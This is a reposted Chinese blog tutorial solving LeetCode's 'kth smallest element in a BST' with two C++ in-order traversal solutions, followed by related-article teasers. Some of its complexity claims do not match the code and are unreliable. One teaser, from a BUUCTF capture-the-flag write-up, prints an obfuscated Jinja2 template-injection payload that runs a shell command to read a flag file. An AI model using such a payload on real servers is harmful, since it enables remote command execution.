LeetCode刷题--- 二叉搜索树中第K小的元素

个人主页:元清加油_【C++】,【C语言】,【数据结构与算法】-CSDN博客

个人专栏

  • 力扣递归算法题       【 http://t.csdnimg.cn/yUl2I   】
  • 【C++】                  【 http://t.csdnimg.cn/6AbpV 】
  • 数据结构与算法       【 http://t.csdnimg.cn/hKh2l  】

前言:这个专栏主要讲述递归递归、搜索与回溯算法,所以下面题目主要也是这些算法做的  

我讲述题目会把讲解部分分为3个部分:
1、题目解析

2、算法原理思路讲解

3、代码实现


注意:这道题目涉及到二叉搜索树的内容 ,若有不懂的可以参考下面这篇文章 

数据结构:二叉搜索树-CSDN博客


二叉搜索树中第K小的元素

题目链接:二叉搜索树中第K小的元素

题目

给定一个二叉搜索树的根节点 root ,和一个整数 k ,请你设计一个算法查找其中第 k 个最小元素(从 1 开始计数)。

示例 1:

输入:root = [3,1,4,null,2], k = 1
输出:1

示例 2:

输入:root = [5,3,6,2,4,null,null,1], k = 3
输出:3

提示:

  • 树中的节点数为 n 。
  • 1 <= k <= n <= 104
  • 0 <= Node.val <= 104

进阶:如果二叉搜索树经常被修改(插入/删除操作)并且你需要频繁地查找第 k 小的值,你将如何优化算法?


解法

题目解析

题目意思很简单,给我们一颗二叉搜索树,我们找出第 k 个最小的值(从 1 开始)

二叉搜索树有如下特性:

  • 若它的左子树不为空,则左子树上所有节点的值都小于根节点的值
  • 若它的右子树不为空,则右子树上所有节点的值都大于根节点的值
  • 它的左右子树也分别为二叉搜索树

 算法原理思路讲解  

解法一:

依靠二叉搜索树的特性:中序遍历为有序

思路:创建一个全局变量 v ,中序遍历整个二叉树,将搜索二叉树的值存入 v 中,然后再返回 v[k-1] 即可


解法二:

解法一虽然也可以通过,上述解法不仅使⽤⼤量额外空间存储数据,并且会将所有的结点都遍历⼀遍我们没有必要遍历整个二叉搜索树。

但是,我们可以根据中序遍历的过程,只需扫描前 k 个结点即可。
思路:因此,我们可以创建⼀个全局的计数器 count,将其初始化为 k,每遍历⼀个节点就将 count--。直到某次递归的时候,count 的值等于 0 ,说明此时的结点就是我们要找的结果。
算法流程
1.定义⼀个全局的变量 count,在主函数中初始化为 k 的值
递归函数的设计

void dfs(TreeNode* root);
2.递归函数流程(中序遍历)
(1)递归出⼝:root == nullptr 或 count=0 的时候,返回 
(2)先递归判断左⼦树,count--
(3)判断 count 是否为0,若为 0 则把 val 值赋给 ret

以上思路就讲解完了,大家可以先自己先做一下 


代码实现 

解法一

  • 时间复杂度:预处理的时间复杂度为 O(N),其中 N 是树中结点的总数;我们需要遍历树中所有结点来统计以每个结点为根结点的子树的结点数。搜索的时间复杂度为 O(H),其中 H 是树的高度;当树是平衡树时,时间复杂度取得最小值 O(log⁡N);当树是线性树时,时间复杂度取得最大值 O(N)。
  • 空间复杂度:O(N),用于存储以每个结点为根结点的子树的结点数。
/*** Definition for a binary tree node.* struct TreeNode {*     int val;*     TreeNode *left;*     TreeNode *right;*     TreeNode() : val(0), left(nullptr), right(nullptr) {}*     TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}*     TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}* };*/
class Solution 
{
public:vector<int> v;void dfs(TreeNode* root){if (root == nullptr){return;}dfs(root->left);v.push_back(root->val);dfs(root->right);}int kthSmallest(TreeNode* root, int k) {dfs(root);return v[k-1];}
};


解法二

  • 时间复杂度:O(H+k),其中 H 是树的高度。在开始遍历之前,我们需要 O(H) 到达叶结点。当树是平衡树时,时间复杂度取得最小值 O(log⁡N+k);当树是线性树(树中每个结点都只有一个子结点或没有子结点)时,时间复杂度取得最大值 O(N+k)。
  • 空间复杂度:O(1)

/*** Definition for a binary tree node.* struct TreeNode {*     int val;*     TreeNode *left;*     TreeNode *right;*     TreeNode() : val(0), left(nullptr), right(nullptr) {}*     TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}*     TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}* };*/
class Solution {
public:int count;int ret;void dfs(TreeNode* root){if(root == nullptr || count == 0) return;dfs(root->left);count--;if(count == 0) ret = root->val;dfs(root->right);}int kthSmallest(TreeNode* root, int k) {count = k;dfs(root);return ret;}
};

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/221253.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大一C语言作业 12.14

1.A A&#xff1a;将pa指向的元素赋值给x&#xff0c;即x a[0] B&#xff1a;将a数组第二个元素的值赋给x&#xff0c;即x a[1] C&#xff1a;将pa指向的下一个元素的值赋给x&#xff0c;即x a[1] D&#xff1a;将a数组第二个元素的值赋给x&#xff0c;即x a[1] 2. 6 2 3 …

在IDEA中配置Git的Push键

前言 笔者在重新安装IDEA过程中需要重新绑定了Git&#xff0c;发现提交代码过程中push键消失了&#xff0c;所以笔者就以这篇文章记录一下Git配置push键的详细过程。 注意笔者当前IDEA版本为2019&#xff0c;可能和读者有所区别&#xff0c;但是操作思路是差不多的。 操作步…

推荐域名销售管理系统网站源码

域名销售管理系统网站源码是一个完整的网站开发项目&#xff0c;包含了域名销售管理的各项功能&#xff0c;如域名搜索、购买、转让、续费等。源码采用了先进的技术和设计&#xff0c;能够满足用户的各种需求&#xff0c;是一个高效、稳定的域名销售管理系统。 演示地 址 &…

使用ThreadLocal.withIniti避免初始化为null问题

问题描述 我们在使用threadLocal的时&#xff0c;使用ThreadLocal.withInitial去初始化而不是使用new ThradLocal去初始化&#xff0c;这是为什么呢&#xff1f; 问题例子 比如说&#xff0c;假设我们想要在每个线程中维护一个独立的计数器 import java.util.concurrent.at…

【EI会议征稿】第五届机械仪表与自动化国际学术会议(ICMIA 2024)

第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09; The 5th International Conference on Mechanical Instrumentation and Automation 2024年第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09;定于2024年4月5-7日在中国武汉隆重…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

如何生成core文件进行项目调试?

由于项目前期的调试错误比较多&#xff0c;或者有某些隐藏危险&#xff1a;例如内存泄漏&#xff1b;偶尔才出现一次&#xff0c;如果没有捕捉错误的手段可能好不容易出现的机会就溜走了&#xff0c;所以生成core文件是必要的&#xff0c;发生段错误会生成相应的core文件&#…

Threejs之相机基础

参考资料 正投影相机…相机控件MapControls 知识点 注&#xff1a;基于Three.jsv0.155.0 正投影相机正投影相机-Canvas尺寸变化包围盒Box3地图案例(包围盒、正投影)相机动画(.position和.lookAt())不同方向的投影视图旋转渲染结果(.up相机上方向)管道漫游案例OrbitControls…

字节流生成的map进行remove报错分析

使用stream流生成的map进行remove操作会报错 当对stream生成的map进行remove操作时&#xff0c;代码报错&#xff0c;复现代码如下&#xff1a; package com.test.testdemo01.service;import com.test.testdemo01.entity.dto.DemoData; import org.junit.Test;import java.ut…

【数据结构】栈和队列超详解!(Stack Queue)

文章目录 前言一、栈1、栈的基本概念2、栈的实现&#xff08;数组实现&#xff09;3、栈的基本操作3.1 栈的结构设计3.2 栈常见的基本函数接口 4、栈的实现4.1 初始化栈4.2 栈的销毁4.3 入栈4.4 出栈4.5 判空4.6 长度4.7 获取栈顶元素 完整代码Stack.hStack.cTest.c 二、队列1、…

SQLAlchemy 第一篇

安装SQLAlchemy pip install SQLAlchemy查看当前版本 # 查看当前版本import sqlalchemyprint(sqlalchemy.__version__)2.0.23创建数据库连接 此处我们以pymysql为mysql的数据库驱动 安装pymysql pip install pymysqlfrom sqlalchemy import create_engine engine create_…

Next.js 的设计理念

Next.js 的设计理念&#xff1a;简洁、强大与高效 Next.js 是一个流行的 React 框架&#xff0c;由 Vercel 公司开发。它的设计理念是简洁、强大和高效&#xff0c;这种理念贯穿于 Next.js 的所有功能中。下面我们将深入探讨这三个设计理念。 简洁 Next.js 的一个核心设计理…

阿里云国际设置DDoS基础防护和原生防护攻击事件报警

通过事件报警您能够获知业务遭受的DDoS攻击事件&#xff0c;及时发现并修复问题&#xff0c;缩短故障处理时间&#xff0c;以便尽快恢复业务。本文介绍如何设置DDoS基础防护和原生防护攻击事件的报警通知。 报警方式说明 阿里云DDoS原生防护提供消息中心报警、云监控报警和日…

HTTP 500错误:服务器内部错误,原因及解决方案

大家好&#xff0c;今天我们来聊聊一个常见的问题——HTTP 500错误&#xff0c;也就是服务器内部错误。这个错误就像是一个神秘的魔法&#xff0c;时不时地出现在你的网页上&#xff0c;让你的用户和你在一片懵逼中互相猜疑。 首先&#xff0c;我们来了解一下这个错误。HTTP 5…

大力说企微入门系列第四课:规则设计

当公司的企业微信体系建立起来以后&#xff0c;相应的人员、角色、权限已经配置&#xff0c;接下来是否就可以开始进入运营阶段那。 理论上来说是可以的&#xff0c;但是可能会引起混乱。所谓没有规矩不成方圆&#xff0c;要想运营顺利&#xff0c;还需要一些规则的设计。 01…

查找两个总和为特定值的索引(蓝桥杯)

#include <stdio.h> int main(){int n;scanf("%d",&n);int s[n];for(int i 0 ; i < n ; i)scanf("%d",&s[i]);int k;scanf("%d",&k);int sum 0;int t0,h;int st[101]; for(int i 0 ; i < n ; i)st[i] 0; //标记数…

Python员工信息管理系统V2(python系列21)

前言&#xff1a;在python系列19&#xff0c;我们使用MVC架构初步完成员工信息管理系统&#xff0c;今天我们使用封装&#xff0c;继承&#xff0c;多态让我们的程序有隐藏的魅力&#xff0c;更加灵活&#xff0c;有扩展性。 实现的功能和python系列19一模一样&#xff0c;所以…

Springboot+Libreoffice集成开发

简介 LibreOffice 是一款功能强大的办公软件&#xff0c;默认使用开放文档格式 (OpenDocument Format , ODF), 并支持 *.docx, *.xlsx, *.pptx 等其他格式。 它包含了 Writer, Calc, Impress, Draw, Base 以及 Math 等组件&#xff0c;可用于处理文本文档、电子表格、演示文稿、…

垃圾回收 (GC) 在 .NET Core 中是如何工作的?

提起GC大家肯定不陌生&#xff0c;但是让大家是说一下GC是怎么运行的&#xff0c;可能大多数人都不太清楚&#xff0c;这也很正常&#xff0c;因为GC这东西在.NET基本不用开发者关注&#xff0c;它是依靠程序自动判断来释放托管堆的&#xff0c;我们基本不需要主动调用Collect(…

【论文阅读】O’Reach: Even Faster Reachability in Large Graphs

Hanauer K, Schulz C, Trummer J. O’reach: Even faster reachability in large graphs[J]. ACM Journal of Experimental Algorithmics, 2022, 27: 1-27. Abstract 计算机科学中最基本的问题之一是可达性问题&#xff1a;给定一个有向图和两个顶点s和t&#xff0c;s可以通过…